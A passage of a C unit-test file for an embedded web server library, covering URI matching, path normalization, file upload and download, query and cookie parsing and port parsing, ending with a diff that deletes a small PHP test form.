ASSERT(match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
ASSERT(match_prefix("a|b|cd", 6, "cdef") == 2);
ASSERT(match_prefix("a|b|c?", 6, "cdef") == 2);
ASSERT(match_prefix("a|?|cd", 6, "cdef") == 1);
ASSERT(match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
ASSERT(match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
ASSERT(match_prefix("$", 1, "") == 0);
ASSERT(match_prefix("$", 1, "x") == -1);
ASSERT(match_prefix("*$", 2, "x") == 1);
ASSERT(match_prefix("/$", 2, "/") == 1);
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
ASSERT(match_prefix("*", 1, "/hello/") == 0);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/B.A") == 6);
ASSERT(match_prefix("**o$", 4, "HELLO") == 5);
}
static void test_remove_double_dots() {
struct { char before[20], after[20]; } data[] = {
{"////a", "/a"},
{"/.....", "/."},
{"/......", "/"},
{"...", "..."},
{"/...///", "/./"},
{"/a...///", "/a.../"},
{"/.x", "/.x"},
{"/\\", "/"},
{"/a\\", "/a\\"},
{"/a\\\\...", "/a\\."},
};
size_t i;
for (i = 0; i < ARRAY_SIZE(data); i++) {
remove_double_dots_and_double_slashes(data[i].before);
ASSERT(strcmp(data[i].before, data[i].after) == 0);
}
}
static char *read_file(const char *path, int *size) {
FILE *fp;
struct stat st;
char *data = NULL;
if ((fp = fopen(path, "rb")) != NULL && !fstat(fileno(fp), &st)) {
*size = (int) st.st_size;
ASSERT((data = malloc(*size)) != NULL);
ASSERT(fread(data, 1, *size, fp) == (size_t) *size);
fclose(fp);
}
return data;
}
static const char *fetch_data = "hello world!\n";
static const char *inmemory_file_data = "hi there";
static const char *upload_filename = "upload_test.txt";
static const char *upload_filename2 = "upload_test2.txt";
static const char *upload_ok_message = "upload successful";
static const char *open_file_cb(const struct mg_connection *conn,
const char *path, size_t *size) {
(void) conn;
if (!strcmp(path, "./blah")) {
*size = strlen(inmemory_file_data);
return inmemory_file_data;
}
return NULL;
}
static void upload_cb(struct mg_connection *conn, const char *path) {
const struct mg_request_info *ri = mg_get_request_info(conn);
char *p1, *p2;
int len1, len2;
if (atoi(ri->query_string) == 1) {
ASSERT(!strcmp(path, "./upload_test.txt"));
ASSERT((p1 = read_file("main.c", &len1)) != NULL);
ASSERT((p2 = read_file(path, &len2)) != NULL);
ASSERT(len1 == len2);
ASSERT(memcmp(p1, p2, len1) == 0);
free(p1), free(p2);
remove(upload_filename);
} else if (atoi(ri->query_string) == 2) {
if (!strcmp(path, "./upload_test.txt")) {
ASSERT((p1 = read_file("lua_5.2.1.h", &len1)) != NULL);
ASSERT((p2 = read_file(path, &len2)) != NULL);
ASSERT(len1 == len2);
ASSERT(memcmp(p1, p2, len1) == 0);
free(p1), free(p2);
remove(upload_filename);
} else if (!strcmp(path, "./upload_test2.txt")) {
ASSERT((p1 = read_file("mod_lua.c", &len1)) != NULL);
ASSERT((p2 = read_file(path, &len2)) != NULL);
ASSERT(len1 == len2);
ASSERT(memcmp(p1, p2, len1) == 0);
free(p1), free(p2);
remove(upload_filename);
} else {
ASSERT(0);
}
} else {
ASSERT(0);
}
mg_printf(conn, "HTTP/1.0 200 OK\r\nContent-Length: %d\r\n\r\n%s",
(int) strlen(upload_ok_message), upload_ok_message);
}
static int begin_request_handler_cb(struct mg_connection *conn) {
const struct mg_request_info *ri = mg_get_request_info(conn);
if (!strcmp(ri->uri, "/data")) {
mg_printf(conn, "HTTP/1.1 200 OK\r\n"
"Content-Type: text/plain\r\n\r\n"
"%s", fetch_data);
close_connection(conn);
return 1;
}
if (!strcmp(ri->uri, "/upload")) {
ASSERT(ri->query_string != NULL);
ASSERT(mg_upload(conn, ".") == atoi(ri->query_string));
}
return 0;
}
static int log_message_cb(const struct mg_connection *conn, const char *msg) {
(void) conn;
printf("%s\n", msg);
return 0;
}
static const struct mg_callbacks CALLBACKS = {
&begin_request_handler_cb, NULL, &log_message_cb, NULL, NULL, NULL, NULL,
&open_file_cb, NULL, &upload_cb, NULL, NULL
};
static const char *OPTIONS[] = {
"document_root", ".",
"listening_ports", LISTENING_ADDR,
"enable_keep_alive", "yes",
"ssl_certificate", "ssl_cert.pem",
NULL,
};
static char *read_conn(struct mg_connection *conn, int *size) {
char buf[100], *data = NULL;
int len;
*size = 0;
while ((len = mg_read(conn, buf, sizeof(buf))) > 0) {
*size += len;
ASSERT((data = realloc(data, *size)) != NULL);
memcpy(data + *size - len, buf, len);
}
return data;
}
static void test_mg_download(void) {
char *p1, *p2, ebuf[100];
int len1, len2, port = atoi(HTTPS_PORT);
struct mg_connection *conn;
struct mg_context *ctx;
ASSERT((ctx = mg_start(&CALLBACKS, NULL, OPTIONS)) != NULL);
ASSERT(mg_download(NULL, port, 0, ebuf, sizeof(ebuf), "%s", "") == NULL);
ASSERT(mg_download("localhost", 0, 0, ebuf, sizeof(ebuf), "%s", "") == NULL);
ASSERT(mg_download("localhost", port, 1, ebuf, sizeof(ebuf),
"%s", "") == NULL);
// Fetch nonexistent file, should see 404
ASSERT((conn = mg_download("localhost", port, 1, ebuf, sizeof(ebuf), "%s",
"GET /gimbec HTTP/1.0\r\n\r\n")) != NULL);
ASSERT(strcmp(conn->request_info.uri, "404") == 0);
mg_close_connection(conn);
ASSERT((conn = mg_download("google.com", 443, 1, ebuf, sizeof(ebuf), "%s",
"GET / HTTP/1.0\r\n\r\n")) != NULL);
mg_close_connection(conn);
// Fetch main.c, should succeed
ASSERT((conn = mg_download("localhost", port, 1, ebuf, sizeof(ebuf), "%s",
"GET /main.c HTTP/1.0\r\n\r\n")) != NULL);
ASSERT(!strcmp(conn->request_info.uri, "200"));
ASSERT((p1 = read_conn(conn, &len1)) != NULL);
ASSERT((p2 = read_file("main.c", &len2)) != NULL);
ASSERT(len1 == len2);
ASSERT(memcmp(p1, p2, len1) == 0);
free(p1), free(p2);
mg_close_connection(conn);
// Fetch in-memory file, should succeed.
ASSERT((conn = mg_download("localhost", port, 1, ebuf, sizeof(ebuf), "%s",
"GET /blah HTTP/1.1\r\n\r\n")) != NULL);
ASSERT((p1 = read_conn(conn, &len1)) != NULL);
ASSERT(len1 == (int) strlen(inmemory_file_data));
ASSERT(memcmp(p1, inmemory_file_data, len1) == 0);
free(p1);
mg_close_connection(conn);
// Fetch in-memory data with no Content-Length, should succeed.
ASSERT((conn = mg_download("localhost", port, 1, ebuf, sizeof(ebuf), "%s",
"GET /data HTTP/1.1\r\n\r\n")) != NULL);
ASSERT((p1 = read_conn(conn, &len1)) != NULL);
ASSERT(len1 == (int) strlen(fetch_data));
ASSERT(memcmp(p1, fetch_data, len1) == 0);
free(p1);
mg_close_connection(conn);
// Test SSL redirect, IP address
ASSERT((conn = mg_download("localhost", atoi(HTTP_PORT), 0,
ebuf, sizeof(ebuf), "%s",
"GET /foo HTTP/1.1\r\n\r\n")) != NULL);
ASSERT(strcmp(conn->request_info.uri, "302") == 0);
ASSERT(strcmp(mg_get_header(conn, "Location"),
"https://127.0.0.1:" HTTPS_PORT "/foo") == 0);
mg_close_connection(conn);
// Test SSL redirect, Host:
ASSERT((conn = mg_download("localhost", atoi(HTTP_PORT), 0,
ebuf, sizeof(ebuf), "%s",
"GET /foo HTTP/1.1\r\nHost: a.b:77\n\n")) != NULL);
ASSERT(strcmp(conn->request_info.uri, "302") == 0);
ASSERT(strcmp(mg_get_header(conn, "Location"),
"https://a.b:" HTTPS_PORT "/foo") == 0);
mg_close_connection(conn);
mg_stop(ctx);
}
static int alloc_printf(char **buf, size_t size, char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
return alloc_vprintf(buf, size, fmt, ap);
}
static void test_mg_upload(void) {
static const char *boundary = "OOO___MY_BOUNDARY___OOO";
struct mg_context *ctx;
struct mg_connection *conn;
char ebuf[100], buf[20], *file_data, *file2_data, *post_data;
int file_len, file2_len, post_data_len;
ASSERT((ctx = mg_start(&CALLBACKS, NULL, OPTIONS)) != NULL);
// Upload one file
ASSERT((file_data = read_file("main.c", &file_len)) != NULL);
post_data = NULL;
post_data_len = alloc_printf(&post_data, 0,
"--%s\r\n"
"Content-Disposition: form-data; "
"name=\"file\"; "
"filename=\"%s\"\r\n\r\n"
"%.*s\r\n"
"--%s--\r\n",
boundary, upload_filename,
file_len, file_data, boundary);
ASSERT(post_data_len > 0);
ASSERT((conn = mg_download("localhost", atoi(HTTPS_PORT), 1,
ebuf, sizeof(ebuf),
"POST /upload?1 HTTP/1.1\r\n"
"Content-Length: %d\r\n"
"Content-Type: multipart/form-data; "
"boundary=%s\r\n\r\n"
"%.*s", post_data_len, boundary,
post_data_len, post_data)) != NULL);
free(file_data), free(post_data);
ASSERT(mg_read(conn, buf, sizeof(buf)) == (int) strlen(upload_ok_message));
ASSERT(memcmp(buf, upload_ok_message, strlen(upload_ok_message)) == 0);
mg_close_connection(conn);
// Upload two files
ASSERT((file_data = read_file("lua_5.2.1.h", &file_len)) != NULL);
ASSERT((file2_data = read_file("mod_lua.c", &file2_len)) != NULL);
post_data = NULL;
post_data_len = alloc_printf(&post_data, 0,
// First file
"--%s\r\n"
"Content-Disposition: form-data; "
"name=\"file\"; "
"filename=\"%s\"\r\n\r\n"
"%.*s\r\n"
// Second file
"--%s\r\n"
"Content-Disposition: form-data; "
"name=\"file\"; "
"filename=\"%s\"\r\n\r\n"
"%.*s\r\n"
// Final boundary
"--%s--\r\n",
boundary, upload_filename,
file_len, file_data,
boundary, upload_filename2,
file2_len, file2_data,
boundary);
ASSERT(post_data_len > 0);
ASSERT((conn = mg_download("localhost", atoi(HTTPS_PORT), 1,
ebuf, sizeof(ebuf),
"POST /upload?2 HTTP/1.1\r\n"
"Content-Length: %d\r\n"
"Content-Type: multipart/form-data; "
"boundary=%s\r\n\r\n"
"%.*s", post_data_len, boundary,
post_data_len, post_data)) != NULL);
free(file_data), free(file2_data), free(post_data);
ASSERT(mg_read(conn, buf, sizeof(buf)) == (int) strlen(upload_ok_message));
ASSERT(memcmp(buf, upload_ok_message, strlen(upload_ok_message)) == 0);
mg_close_connection(conn);
mg_stop(ctx);
}
static void test_base64_encode(void) {
const char *in[] = {"a", "ab", "abc", "abcd", NULL};
const char *out[] = {"YQ==", "YWI=", "YWJj", "YWJjZA=="};
char buf[100];
int i;
for (i = 0; in[i] != NULL; i++) {
base64_encode((unsigned char *) in[i], strlen(in[i]), buf);
ASSERT(!strcmp(buf, out[i]));
}
}
static void test_mg_get_var(void) {
static const char *post[] = {
"a=1&&b=2&d&=&c=3%20&e=",
"q=&st=2012%2F11%2F13+17%3A05&et=&team_id=",
NULL
};
char buf[20];
ASSERT(mg_get_var(post[0], strlen(post[0]), "a", buf, sizeof(buf)) == 1);
ASSERT(buf[0] == '1' && buf[1] == '\0');
ASSERT(mg_get_var(post[0], strlen(post[0]), "b", buf, sizeof(buf)) == 1);
ASSERT(buf[0] == '2' && buf[1] == '\0');
ASSERT(mg_get_var(post[0], strlen(post[0]), "c", buf, sizeof(buf)) == 2);
ASSERT(buf[0] == '3' && buf[1] == ' ' && buf[2] == '\0');
ASSERT(mg_get_var(post[0], strlen(post[0]), "e", buf, sizeof(buf)) == 0);
ASSERT(buf[0] == '\0');
ASSERT(mg_get_var(post[0], strlen(post[0]), "d", buf, sizeof(buf)) == -1);
ASSERT(mg_get_var(post[0], strlen(post[0]), "c", buf, 2) == -2);
ASSERT(mg_get_var(post[0], strlen(post[0]), "x", NULL, 10) == -2);
ASSERT(mg_get_var(post[0], strlen(post[0]), "x", buf, 0) == -2);
ASSERT(mg_get_var(post[1], strlen(post[1]), "st", buf, 16) == -2);
ASSERT(mg_get_var(post[1], strlen(post[1]), "st", buf, 17) == 16);
}
static void test_set_throttle(void) {
ASSERT(set_throttle(NULL, 0x0a000001, "/") == 0);
ASSERT(set_throttle("10.0.0.0/8=20", 0x0a000001, "/") == 20);
ASSERT(set_throttle("10.0.0.0/8=0.5k", 0x0a000001, "/") == 512);
ASSERT(set_throttle("10.0.0.0/8=17m", 0x0a000001, "/") == 1048576 * 17);
ASSERT(set_throttle("10.0.0.0/8=1x", 0x0a000001, "/") == 0);
ASSERT(set_throttle("10.0.0.0/8=5,0.0.0.0/0=10", 0x0a000001, "/") == 10);
ASSERT(set_throttle("10.0.0.0/8=5,/foo/**=7", 0x0a000001, "/index") == 5);
ASSERT(set_throttle("10.0.0.0/8=5,/foo/**=7", 0x0a000001, "/foo/x") == 7);
ASSERT(set_throttle("10.0.0.0/8=5,/foo/**=7", 0x0b000001, "/foxo/x") == 0);
ASSERT(set_throttle("10.0.0.0/8=5,*=1", 0x0b000001, "/foxo/x") == 1);
}
static void test_next_option(void) {
const char *p, *list = "x/8,/y**=1;2k,z";
struct vec a, b;
int i;
ASSERT(next_option(NULL, &a, &b) == NULL);
for (i = 0, p = list; (p = next_option(p, &a, &b)) != NULL; i++) {
ASSERT(i != 0 || (a.ptr == list && a.len == 3 && b.len == 0));
ASSERT(i != 1 || (a.ptr == list + 4 && a.len == 4 && b.ptr == list + 9 &&
b.len == 4));
ASSERT(i != 2 || (a.ptr == list + 14 && a.len == 1 && b.len == 0));
}
}
#ifdef USE_LUA
static void check_lua_expr(lua_State *L, const char *expr, const char *value) {
const char *v, *var_name = "myVar";
char buf[100];
snprintf(buf, sizeof(buf), "%s = %s", var_name, expr);
(void) luaL_dostring(L, buf);
lua_getglobal(L, var_name);
v = lua_tostring(L, -1);
ASSERT((value == NULL && v == NULL) ||
(value != NULL && v != NULL && !strcmp(value, v)));
}
static void test_lua(void) {
static struct mg_connection conn;
static struct mg_context ctx;
char http_request[] = "POST /foo/bar HTTP/1.1\r\n"
"Content-Length: 12\r\n"
"Connection: close\r\n\r\nhello world!";
lua_State *L = luaL_newstate();
conn.ctx = &ctx;
conn.buf = http_request;
conn.buf_size = conn.data_len = strlen(http_request);
conn.request_len = parse_http_message(conn.buf, conn.data_len,
&conn.request_info);
conn.content_len = conn.data_len - conn.request_len;
prepare_lua_environment(&conn, L);
ASSERT(lua_gettop(L) == 0);
check_lua_expr(L, "'hi'", "hi");
check_lua_expr(L, "mg.request_info.request_method", "POST");
check_lua_expr(L, "mg.request_info.uri", "/foo/bar");
check_lua_expr(L, "mg.request_info.num_headers", "2");
check_lua_expr(L, "mg.request_info.remote_ip", "0");
check_lua_expr(L, "mg.request_info.http_headers['Content-Length']", "12");
check_lua_expr(L, "mg.request_info.http_headers['Connection']", "close");
(void) luaL_dostring(L, "post = mg.read()");
check_lua_expr(L, "# post", "12");
check_lua_expr(L, "post", "hello world!");
lua_close(L);
}
#endif
static void test_mg_stat(void) {
static struct mg_context ctx;
struct file file = STRUCT_FILE_INITIALIZER;
ASSERT(!mg_stat(fc(&ctx), " does not exist ", &file));
}
static void test_skip_quoted(void) {
char x[] = "a=1, b=2 c='hi \' there'", *s = x, *p;
p = skip_quoted(&s, ", ", ", ", 0);
ASSERT(p != NULL && !strcmp(p, "a=1"));
p = skip_quoted(&s, ", ", ", ", 0);
ASSERT(p != NULL && !strcmp(p, "b=2"));
// TODO(lsm): fix this
#if 0
p = skip_quoted(&s, "'", ", ", '\\');
p = skip_quoted(&s, "'", ", ", '\\');
printf("[%s]\n", p);
ASSERT(p != NULL && !strcmp(p, "hi ' there"));
#endif
}
static void test_alloc_vprintf(void) {
char buf[MG_BUF_LEN], *p = buf;
ASSERT(alloc_printf(&p, sizeof(buf), "%s", "hi") == 2);
ASSERT(p == buf);
ASSERT(alloc_printf(&p, sizeof(buf), "%s", "") == 0);
ASSERT(alloc_printf(&p, sizeof(buf), "") == 0);
// Pass small buffer, make sure alloc_printf allocates
ASSERT(alloc_printf(&p, 1, "%s", "hello") == 5);
ASSERT(p != buf);
free(p);
}
static void test_request_replies(void) {
char ebuf[100];
int i, port = atoi(HTTPS_PORT);
struct mg_connection *conn;
struct mg_context *ctx;
static struct { const char *request, *reply_regex; } tests[] = {
{
"GET test/hello.txt HTTP/1.0\r\nRange: bytes=3-5\r\n\r\n",
"^HTTP/1.1 206 Partial Content"
},
{NULL, NULL},
};
ASSERT((ctx = mg_start(&CALLBACKS, NULL, OPTIONS)) != NULL);
for (i = 0; tests[i].request != NULL; i++) {
ASSERT((conn = mg_download("localhost", port, 1, ebuf, sizeof(ebuf), "%s",
tests[i].request)) != NULL);
mg_close_connection(conn);
}
mg_stop(ctx);
}
static int api_callback(struct mg_connection *conn) {
struct mg_request_info *ri = mg_get_request_info(conn);
char post_data[100] = "";
ASSERT(ri->user_data == (void *) 123);
ASSERT(ri->num_headers == 2);
ASSERT(strcmp(mg_get_header(conn, "host"), "blah.com") == 0);
ASSERT(mg_read(conn, post_data, sizeof(post_data)) == 3);
ASSERT(memcmp(post_data, "b=1", 3) == 0);
ASSERT(ri->query_string != NULL);
ASSERT(ri->remote_ip > 0);
ASSERT(ri->remote_port > 0);
ASSERT(strcmp(ri->http_version, "1.0") == 0);
mg_printf(conn, "HTTP/1.0 200 OK\r\n\r\n");
return 1;
}
static void test_api_calls(void) {
char ebuf[100];
struct mg_callbacks callbacks;
struct mg_connection *conn;
struct mg_context *ctx;
static const char *request = "POST /?a=%20&b=&c=xx HTTP/1.0\r\n"
"Host: blah.com\n" // More spaces before
"content-length: 3\r\n" // Lower case header name
"\r\nb=123456"; // Content size > content-length, test for mg_read()
memset(&callbacks, 0, sizeof(callbacks));
callbacks.begin_request = api_callback;
ASSERT((ctx = mg_start(&callbacks, (void *) 123, OPTIONS)) != NULL);
ASSERT((conn = mg_download("localhost", atoi(HTTPS_PORT), 1,
ebuf, sizeof(ebuf), "%s", request)) != NULL);
mg_close_connection(conn);
mg_stop(ctx);
}
static void test_url_decode(void) {
char buf[100];
ASSERT(mg_url_decode("foo", 3, buf, 3, 0) == -1); // No space for \0
ASSERT(mg_url_decode("foo", 3, buf, 4, 0) == 3);
ASSERT(strcmp(buf, "foo") == 0);
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 0) == 2);
ASSERT(strcmp(buf, "a+") == 0);
ASSERT(mg_url_decode("a+", 2, buf, sizeof(buf), 1) == 2);
ASSERT(strcmp(buf, "a ") == 0);
ASSERT(mg_url_decode("%61", 1, buf, sizeof(buf), 1) == 1);
ASSERT(strcmp(buf, "%") == 0);
ASSERT(mg_url_decode("%61", 2, buf, sizeof(buf), 1) == 2);
ASSERT(strcmp(buf, "%6") == 0);
ASSERT(mg_url_decode("%61", 3, buf, sizeof(buf), 1) == 1);
ASSERT(strcmp(buf, "a") == 0);
}
static void test_mg_strcasestr(void) {
static const char *big1 = "abcdef";
ASSERT(mg_strcasestr("Y", "X") == NULL);
ASSERT(mg_strcasestr("Y", "y") != NULL);
ASSERT(mg_strcasestr(big1, "X") == NULL);
ASSERT(mg_strcasestr(big1, "CD") == big1 + 2);
ASSERT(mg_strcasestr("aa", "AAB") == NULL);
}
static void test_mg_get_cookie(void) {
char buf[20];
ASSERT(mg_get_cookie("", "foo", NULL, sizeof(buf)) == -2);
ASSERT(mg_get_cookie("", "foo", buf, 0) == -2);
ASSERT(mg_get_cookie("", "foo", buf, sizeof(buf)) == -1);
ASSERT(mg_get_cookie("", NULL, buf, sizeof(buf)) == -1);
ASSERT(mg_get_cookie("a=1; b=2; c; d", "a", buf, sizeof(buf)) == 1);
ASSERT(strcmp(buf, "1") == 0);
ASSERT(mg_get_cookie("a=1; b=2; c; d", "b", buf, sizeof(buf)) == 1);
ASSERT(strcmp(buf, "2") == 0);
ASSERT(mg_get_cookie("a=1; b=123", "b", buf, sizeof(buf)) == 3);
ASSERT(strcmp(buf, "123") == 0);
ASSERT(mg_get_cookie("a=1; b=2; c; d", "c", buf, sizeof(buf)) == -1);
}
static void test_strtoll(void) {
ASSERT(strtoll("0", NULL, 10) == 0);
ASSERT(strtoll("123", NULL, 10) == 123);
ASSERT(strtoll("-34", NULL, 10) == -34);
ASSERT(strtoll("3566626116", NULL, 10) == 3566626116);
}
static void test_parse_port_string(void) {
static const char *valid[] = {
"1", "1s", "1r", "1.2.3.4:1", "1.2.3.4:1s", "1.2.3.4:1r",
#if defined(USE_IPV6)
"[::1]:123", "[3ffe:2a00:100:7031::1]:900",
#endif
NULL
};
static const char *invalid[] = {
"0", "99999", "1k", "1.2.3", "1.2.3.4:", "1.2.3.4:2p",
NULL
};
struct socket so;
struct vec vec;
int i;
for (i = 0; valid[i] != NULL; i++) {
vec.ptr = valid[i];
vec.len = strlen(vec.ptr);
ASSERT(parse_port_string(&vec, &so) != 0);
}
for (i = 0; invalid[i] != NULL; i++) {
vec.ptr = invalid[i];
vec.len = strlen(vec.ptr);
ASSERT(parse_port_string(&vec, &so) == 0);
}
}
int __cdecl main(void) {
test_parse_port_string();
test_mg_strcasestr();
test_alloc_vprintf();
test_base64_encode();
test_match_prefix();
test_remove_double_dots();
test_should_keep_alive();
test_parse_http_message();
test_mg_download();
test_mg_get_var();
test_set_throttle();
test_next_option();
test_mg_stat();
test_skip_quoted();
test_mg_upload();
test_request_replies();
test_api_calls();
test_url_decode();
test_mg_get_cookie();
test_strtoll();
#ifdef USE_LUA
test_lua();
#endif
printf("TOTAL TESTS: %d, FAILED: %d\n", s_total_tests, s_failed_tests);
return s_failed_tests == 0 ? EXIT_SUCCESS : EXIT_FAILURE;
}
-9
View File
@@ -1,9 +0,0 @@
<html>
<form method="post">
<input name="x" type="text" />
<input type="submit" />
</form>
<? echo $_POST["x"]; ?>
</html>